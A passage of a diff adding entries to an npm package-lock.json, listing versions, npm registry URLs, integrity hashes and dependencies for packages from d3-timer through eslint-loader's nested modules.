"sha512-RAHNnD8+XvC4Zc4d2A56Uw0yJoM7bsvOlJR33bclxq399Rak/b9bhvu/InjxdWhPtkgU53JJcleJTGkNRnN6IA==", + "dependencies": { + "d3-time": "1" + } + }, + "node_modules/d3-timer": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-1.0.10.tgz", + "integrity": "sha512-B1JDm0XDaQC+uvo4DT79H0XmBskgS3l6Ve+1SBCfxgmtIb1AVrPIoqd+nPSv+loMX8szQ0sVUhGngL7D5QPiXw==" + }, + "node_modules/d3-transition": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-1.3.2.tgz", + "integrity": "sha512-sc0gRU4PFqZ47lPVHloMn9tlPcv8jxgOQg+0zjhfZXMQuvppjG6YuwdMBE0TuqCZjeJkLecku/l9R0JPcRhaDA==", + "dependencies": { + "d3-color": "1", + "d3-dispatch": "1", + "d3-ease": "1", + "d3-interpolate": "1", + "d3-selection": "^1.1.0", + "d3-timer": "1" + } + }, + "node_modules/d3-voronoi": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/d3-voronoi/-/d3-voronoi-1.1.4.tgz", + "integrity": "sha512-dArJ32hchFsrQ8uMiTBLq256MpnZjeuBtdHpaDlYuQyjU0CVzCJl/BVW+SkszaAeH95D/8gxqAhgx0ouAWAfRg==" + }, + "node_modules/d3-zoom": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-1.8.3.tgz", + "integrity": "sha512-VoLXTK4wvy1a0JpH2Il+F2CiOhVu7VRXWF5M/LroMIh3/zBAC3WAt7QoIvPibOavVo20hN6/37vwAsdBejLyKQ==", + "dependencies": { + "d3-dispatch": "1", + "d3-drag": "1", + "d3-interpolate": "1", + "d3-selection": "1", + "d3-transition": "1" + } + }, + "node_modules/debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "dev": true, + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decamelize-keys": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", + "integrity": "sha1-0XGoeTMlKAfrPLYdwcFEXQeN8tk=", + "dev": true, + "dependencies": { + "decamelize": "^1.1.0", + "map-obj": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decamelize-keys/node_modules/map-obj": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/deep-equal": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/deep-equal/-/deep-equal-1.1.1.tgz", + "integrity": "sha512-yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==", + "dev": true, + "dependencies": { + "is-arguments": "^1.0.4", + "is-date-object": "^1.0.1", + "is-regex": "^1.0.4", + "object-is": "^1.0.1", + "object-keys": "^1.1.1", + "regexp.prototype.flags": "^1.2.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", + "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "dev": true + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dev": true, + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", + "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", + "dev": true, + "dependencies": { + "object-keys": "^1.0.12" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", + "integrity": "sha512-1shh9DQ23L16oXSZKB2JxpL7iMy2E0S9d517ptA1P8iw0alkPtQcrKH7ru31rYtKwF499HkTu+DRzq3TCKDFRQ==", + "dev": true, + "dependencies": { + "globby": "^11.0.1", + "graceful-fs": "^4.2.4", + "is-glob": "^4.0.1", + "is-path-cwd": "^2.2.0", + "is-path-inside": "^3.0.2", + "p-map": "^4.0.0", + "rimraf": "^3.0.2", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/del/node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/del/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/dequal": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.2.tgz", + "integrity": "sha512-q9K8BlJVxK7hQYqa6XISGmBZbtQQWVXSrRrWreHC94rMt1QL/Impruc+7p2CYSYuVIUr+YCt6hjrs1kkdJRTug==", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=", + "dev": true + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true + }, + "node_modules/diff-sequences": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-26.6.2.tgz", + "integrity": "sha512-Mv/TDa3nZ9sbc5soK+OoA74BsS3mL37yixCvUAQkiuA4Wz6YtwP/K47n2rv2ovzHZvoiQeA5FTQOschKkEwB0Q==", + "dev": true, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dnd-core": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/dnd-core/-/dnd-core-11.1.3.tgz", + "integrity": "sha512-QugF55dNW+h+vzxVJ/LSJeTeUw9MCJ2cllhmVThVPEtF16ooBkxj0WBE5RB+AceFxMFo1rO6bJKXtqKl+JNnyA==", + "dependencies": { + "@react-dnd/asap": "^4.0.0", + "@react-dnd/invariant": "^2.0.0", + "redux": "^4.0.4" + } + }, + "node_modules/dns-equal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/dns-equal/-/dns-equal-1.0.0.tgz", + "integrity": "sha1-s55/HabrCnW6nBcySzR1PEfgZU0=", + "dev": true + }, + "node_modules/dns-packet": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-1.3.4.tgz", + "integrity": "sha512-BQ6F4vycLXBvdrJZ6S3gZewt6rcrks9KBgM9vrhW+knGRqc8uEdT7fuCwloc7nny5xNoMJ17HGH0R/6fpo8ECA==", + "dev": true, + "dependencies": { + "ip": "^1.1.0", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/dns-txt": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/dns-txt/-/dns-txt-2.0.2.tgz", + "integrity": "sha1-uR2Ab10nGI5Ks+fRB9iBocxGQrY=", + "dev": true, + "dependencies": { + "buffer-indexof": "^1.0.0" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dev": true, + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/dom-helpers/node_modules/csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + }, + "node_modules/dom-serializer": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz", + "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "entities": "^2.0.0" + } + }, + "node_modules/dom-serializer/node_modules/domelementtype": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", + "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/dom-walk": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz", + "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" + }, + "node_modules/domelementtype": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz", + "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==", + "dev": true + }, + "node_modules/domhandler": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-2.4.2.tgz", + "integrity": "sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==", + "dev": true, + "dependencies": { + "domelementtype": "1" + } + }, + "node_modules/domutils": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz", + "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==", + "dev": true, + "dependencies": { + "dom-serializer": "0", + "domelementtype": "1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/dot-case/node_modules/tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + }, + "node_modules/downloadjs": { + "version": "1.4.7", + "resolved": "https://registry.npmjs.org/downloadjs/-/downloadjs-1.4.7.tgz", + "integrity": "sha1-9p+W+UDg0FU9rCkROYZaPNAQHjw=" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.3.862", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.862.tgz", + "integrity": "sha512-o+FMbCD+hAUJ9S8bfz/FaqA0gE8OpCCm58KhhGogOEqiA1BLFSoVYLi+tW+S/ZavnqBn++n0XZm7HQiBVPs8Jg==" + }, + "node_modules/element-resize-event": { + "version": "2.0.9", + "resolved": "https://registry.npmjs.org/element-resize-event/-/element-resize-event-2.0.9.tgz", + "integrity": "sha1-L14VgaKW61J1IQwUG8VjQuIY+HY=" + }, + "node_modules/emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/encoding": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", + "integrity": "sha1-U4tm8+5izRq1HsMjgp0flIDHS+s=", + "dependencies": { + "iconv-lite": "~0.4.13" + } + }, + "node_modules/enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.0.2.tgz", + "integrity": "sha512-dmD3AvJQBUjKpcNkoqr+x+IF0SdRtPz9Vk0uTy4yWqga9ibB6s4v++QFWNohjiUGoMlF552ZvNyXDxz5iW0qmw==", + "dev": true + }, + "node_modules/envinfo": { + "version": "7.8.1", + "resolved": "https://registry.npmjs.org/envinfo/-/envinfo-7.8.1.tgz", + "integrity": "sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==", + "dev": true, + "bin": { + "envinfo": "dist/cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/es-abstract": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.19.1.tgz", + "integrity": "sha512-2vJ6tjA/UfqLm2MPs7jxVybLoB8i1t1Jd9R3kISld20sIxPcTbLuggQOUxeWeAvIUkduv/CfMjuh4WmiXr2v9w==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "get-symbol-description": "^1.0.0", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "internal-slot": "^1.0.3", + "is-callable": "^1.2.4", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.1", + "is-string": "^1.0.7", + "is-weakref": "^1.0.1", + "object-inspect": "^1.11.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-module-lexer": { + "version": "0.9.3", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", + "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==" + }, + "node_modules/es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es6-templates": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/es6-templates/-/es6-templates-0.2.3.tgz", + "integrity": "sha1-XLmsn7He1usSOTQrgdeSu7QHjuQ=", + "dev": true, + "dependencies": { + "recast": "~0.11.12", + "through": "~2.3.6" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=", + "dev": true + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/eslint": { + "version": "6.8.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-6.8.0.tgz", + "integrity": "sha512-K+Iayyo2LtyYhDSYwz5D5QdWw0hCacNzyq1Y821Xna2xSJj7cijoLLYmLxTQgcgZ9mC61nryMy9S7GRbYpI5Ig==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.0.0", + "ajv": "^6.10.0", + "chalk": "^2.1.0", + "cross-spawn": "^6.0.5", + "debug": "^4.0.1", + "doctrine": "^3.0.0", + "eslint-scope": "^5.0.0", + "eslint-utils": "^1.4.3", + "eslint-visitor-keys": "^1.1.0", + "espree": "^6.1.2", + "esquery": "^1.0.1", + "esutils": "^2.0.2", + "file-entry-cache": "^5.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^5.0.0", + "globals": "^12.1.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "inquirer": "^7.0.0", + "is-glob": "^4.0.0", + "js-yaml": "^3.13.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.3.0", + "lodash": "^4.17.14", + "minimatch": "^3.0.4", + "mkdirp": "^0.5.1", + "natural-compare": "^1.4.0", + "optionator": "^0.8.3", + "progress": "^2.0.0", + "regexpp": "^2.0.1", + "semver": "^6.1.2", + "strip-ansi": "^5.2.0", + "strip-json-comments": "^3.0.1", + "table": "^5.2.3", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^8.10.0 || ^10.13.0 || >=11.10.1" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-loader": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/eslint-loader/-/eslint-loader-4.0.2.tgz", + "integrity": "sha512-EDpXor6lsjtTzZpLUn7KmXs02+nIjGcgees9BYjNkWra3jVq5vVa8IoCKgzT2M7dNNeoMBtaSG83Bd40N3poLw==", + "deprecated": "This loader has been deprecated. Please use eslint-webpack-plugin", + "dev": true, + "dependencies": { + "find-cache-dir": "^3.3.1", + "fs-extra": "^8.1.0", + "loader-utils": "^2.0.0", + "object-hash": "^2.0.3", + "schema-utils": "^2.6.5" + }, + "engines": { + "node": ">= 10.13.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0", + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/eslint-loader/node_modules/find-cache-dir": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz", + "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==", + "dev": true, + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/eslint-loader/node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-loader/node_modules/json5": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", + "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint-loader/node_modules/loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/eslint-loader/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-loader/node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint-loader/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-loader/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/eslint-loader/node_modules/pkg-dir": { + "version": 